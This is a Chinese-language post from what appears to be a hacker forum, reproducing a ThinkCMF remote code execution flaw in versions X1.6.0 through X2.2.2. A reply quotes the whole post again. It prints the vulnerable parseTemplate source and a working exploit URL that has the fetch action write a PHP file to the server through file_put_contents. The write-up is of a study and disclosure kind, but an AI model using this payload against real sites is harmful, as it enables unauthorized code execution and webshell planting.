• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

ThinkCMF任意包含漏洞复现 版本 X1.6.0 X2.1.0 X2.2.0 X2.2.1 X2.2.2


This Wind

Recommended Posts

漏洞成因

根据ThinkPHP框架约定可以通过a参数来指定对应的函数名,但是该函数的修饰符必须为Public, 而添加的代码正好符合该条件。 可以通过如下URL进行访问,并且可以添加GET参数arg1传递给函数。

漏洞危害

远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。

影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2

复现过程

漏洞出在:application\Portal\Controller\IndexController.class.php
首先引用Common\Controller\HomebaseController控制类文件,然后调用display函数

sMq958.png

跟入display函数看描述就是可以自定义加载模版,通过$this->parseTemplate 函数根据约定确定模版路径,如果不符合原先的约定将会从当前目录开始匹配。

sMqZbq.png
public function parseTemplate($template='') {

   $tmpl_path=C("SP_TMPL_PATH"); // 前台模板文件根目录 themes/
   define("SP_TMPL_PATH", $tmpl_path);
   if($this->theme) { // 指定模板主题
       $theme = $this->theme;
   }else{
       // 获取当前主题名称
       $theme      =    C('SP_DEFAULT_THEME'); // 前台模板文件 simplebootx
       if(C('TMPL_DETECT_THEME')) {// 自动侦测模板主题
           $t = C('VAR_TEMPLATE'); //默认模板切换变量 t
           if (isset($_GET[$t])){
               $theme = $_GET[$t];
           }elseif(cookie('think_template')){
               $theme = cookie('think_template');
           }
           if(!file_exists($tmpl_path."/".$theme)){ //判断前台模板文件是否存在
               $theme  =   C('SP_DEFAULT_THEME');
           }
           cookie('think_template',$theme,864000);
       }
   }

   $theme_suffix="";

   if(C('MOBILE_TPL_ENABLED') && sp_is_mobile()){//开启手机模板支持

       if (C('LANG_SWITCH_ON',null,false)){
           if(file_exists($tmpl_path."/".$theme."_mobile_".LANG_SET)){//优先级最高
               $theme_suffix  =  "_mobile_".LANG_SET;
           }elseif (file_exists($tmpl_path."/".$theme."_mobile")){
               $theme_suffix  =  "_mobile";
           }elseif (file_exists($tmpl_path."/".$theme."_".LANG_SET)){
               $theme_suffix  =  "_".LANG_SET;
           }
       }else{
              if(file_exists($tmpl_path."/".$theme."_mobile")){
                  $theme_suffix  =  "_mobile";
              }
       }
   }else{
       $lang_suffix="_".LANG_SET;
       if (C('LANG_SWITCH_ON',null,false) && file_exists($tmpl_path."/".$theme.$lang_suffix)){
           $theme_suffix = $lang_suffix;
       }
   }

   $theme=$theme.$theme_suffix; //定义当前语言

   C('SP_DEFAULT_THEME',$theme);

   $current_tmpl_path=$tmpl_path.$theme."/";
   // 获取当前主题的模版路径
   define('THEME_PATH', $current_tmpl_path);

   $cdn_settings=sp_get_option('cdn_settings');
   if(!empty($cdn_settings['cdn_static_root'])){
       $cdn_static_root=rtrim($cdn_settings['cdn_static_root'],'/');
       C("TMPL_PARSE_STRING.__TMPL__",$cdn_static_root."/".$current_tmpl_path);
       C("TMPL_PARSE_STRING.__PUBLIC__",$cdn_static_root."/public");
       C("TMPL_PARSE_STRING.__WEB_ROOT__",$cdn_static_root);
   }else{
       C("TMPL_PARSE_STRING.__TMPL__",__ROOT__."/".$current_tmpl_path);
   }


   C('SP_VIEW_PATH',$tmpl_path);
   C('DEFAULT_THEME',$theme);

   define("SP_CURRENT_THEME", $theme);

   if(is_file($template)) {
      return $template;
   }
   $depr       =   C('TMPL_FILE_DEPR');
   $template   =   str_replace(':', $depr, $template);

   // 获取当前模块
   $module   =  MODULE_NAME;
   if(strpos($template,'@')){ // 跨模块调用模版文件
      list($module,$template)  =   explode('@',$template);
   }

   $module =$module."/";

   // 分析模板文件规则
   if('' == $template) {
      // 如果模板文件名为空 按照默认规则定位
      $template = CONTROLLER_NAME . $depr . ACTION_NAME;
   }elseif(false === strpos($template, '/')){
      $template = CONTROLLER_NAME . $depr . $template;
   }

   $file = sp_add_template_file_suffix($current_tmpl_path.$module.$template);
   $file= str_replace("//",'/',$file);
   if(!file_exists_case($file)) E(L('_TEMPLATE_NOT_EXIST_').':'.$file);
   return $file;
}

由于parseTemplate函数为模板渲染函数,而该函数权限为public。导致可控,最终payload如下:

/?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test.php’,’<?php phpinfo(); ?>’)
sMqMPU.png
sMq8M9.png

参考链接

https://www.cnblogs.com/ch459742906/p/5949168.html
https://mp.weixin.qq.com/s/3d7YrTq0vFSKXV6u0Hjnnw
https://www.cnblogs.com/0daybug/p/11720575.html

Link to comment
Share on other sites

刚才 , This Wind 说:

漏洞成因

根据ThinkPHP框架约定可以通过a参数来指定对应的函数名,但是该函数的修饰符必须为Public, 而添加的代码正好符合该条件。 可以通过如下URL进行访问,并且可以添加GET参数arg1传递给函数。

漏洞危害

远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。

影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2

复现过程

漏洞出在:application\Portal\Controller\IndexController.class.php
首先引用Common\Controller\HomebaseController控制类文件,然后调用display函数

sMq958.png

跟入display函数看描述就是可以自定义加载模版,通过$this->parseTemplate 函数根据约定确定模版路径,如果不符合原先的约定将会从当前目录开始匹配。

sMqZbq.png

public function parseTemplate($template='') {

   $tmpl_path=C("SP_TMPL_PATH"); // 前台模板文件根目录 themes/
   define("SP_TMPL_PATH", $tmpl_path);
   if($this->theme) { // 指定模板主题
       $theme = $this->theme;
   }else{
       // 获取当前主题名称
       $theme      =    C('SP_DEFAULT_THEME'); // 前台模板文件 simplebootx
       if(C('TMPL_DETECT_THEME')) {// 自动侦测模板主题
           $t = C('VAR_TEMPLATE'); //默认模板切换变量 t
           if (isset($_GET[$t])){
               $theme = $_GET[$t];
           }elseif(cookie('think_template')){
               $theme = cookie('think_template');
           }
           if(!file_exists($tmpl_path."/".$theme)){ //判断前台模板文件是否存在
               $theme  =   C('SP_DEFAULT_THEME');
           }
           cookie('think_template',$theme,864000);
       }
   }

   $theme_suffix="";

   if(C('MOBILE_TPL_ENABLED') && sp_is_mobile()){//开启手机模板支持

       if (C('LANG_SWITCH_ON',null,false)){
           if(file_exists($tmpl_path."/".$theme."_mobile_".LANG_SET)){//优先级最高
               $theme_suffix  =  "_mobile_".LANG_SET;
           }elseif (file_exists($tmpl_path."/".$theme."_mobile")){
               $theme_suffix  =  "_mobile";
           }elseif (file_exists($tmpl_path."/".$theme."_".LANG_SET)){
               $theme_suffix  =  "_".LANG_SET;
           }
       }else{
              if(file_exists($tmpl_path."/".$theme."_mobile")){
                  $theme_suffix  =  "_mobile";
              }
       }
   }else{
       $lang_suffix="_".LANG_SET;
       if (C('LANG_SWITCH_ON',null,false) && file_exists($tmpl_path."/".$theme.$lang_suffix)){
           $theme_suffix = $lang_suffix;
       }
   }

   $theme=$theme.$theme_suffix; //定义当前语言

   C('SP_DEFAULT_THEME',$theme);

   $current_tmpl_path=$tmpl_path.$theme."/";
   // 获取当前主题的模版路径
   define('THEME_PATH', $current_tmpl_path);

   $cdn_settings=sp_get_option('cdn_settings');
   if(!empty($cdn_settings['cdn_static_root'])){
       $cdn_static_root=rtrim($cdn_settings['cdn_static_root'],'/');
       C("TMPL_PARSE_STRING.__TMPL__",$cdn_static_root."/".$current_tmpl_path);
       C("TMPL_PARSE_STRING.__PUBLIC__",$cdn_static_root."/public");
       C("TMPL_PARSE_STRING.__WEB_ROOT__",$cdn_static_root);
   }else{
       C("TMPL_PARSE_STRING.__TMPL__",__ROOT__."/".$current_tmpl_path);
   }


   C('SP_VIEW_PATH',$tmpl_path);
   C('DEFAULT_THEME',$theme);

   define("SP_CURRENT_THEME", $theme);

   if(is_file($template)) {
      return $template;
   }
   $depr       =   C('TMPL_FILE_DEPR');
   $template   =   str_replace(':', $depr, $template);

   // 获取当前模块
   $module   =  MODULE_NAME;
   if(strpos($template,'@')){ // 跨模块调用模版文件
      list($module,$template)  =   explode('@',$template);
   }

   $module =$module."/";

   // 分析模板文件规则
   if('' == $template) {
      // 如果模板文件名为空 按照默认规则定位
      $template = CONTROLLER_NAME . $depr . ACTION_NAME;
   }elseif(false === strpos($template, '/')){
      $template = CONTROLLER_NAME . $depr . $template;
   }

   $file = sp_add_template_file_suffix($current_tmpl_path.$module.$template);
   $file= str_replace("//",'/',$file);
   if(!file_exists_case($file)) E(L('_TEMPLATE_NOT_EXIST_').':'.$file);
   return $file;
}

由于parseTemplate函数为模板渲染函数,而该函数权限为public。导致可控,最终payload如下:


/?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test.php’,’<?php phpinfo(); ?>’)
sMqMPU.png
sMq8M9.png

参考链接

https://www.cnblogs.com/ch459742906/p/5949168.html
https://mp.weixin.qq.com/s/3d7YrTq0vFSKXV6u0Hjnnw
https://www.cnblogs.com/0daybug/p/11720575.html

原文:https://422926799.github.io/posts/3656eb8c.html

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now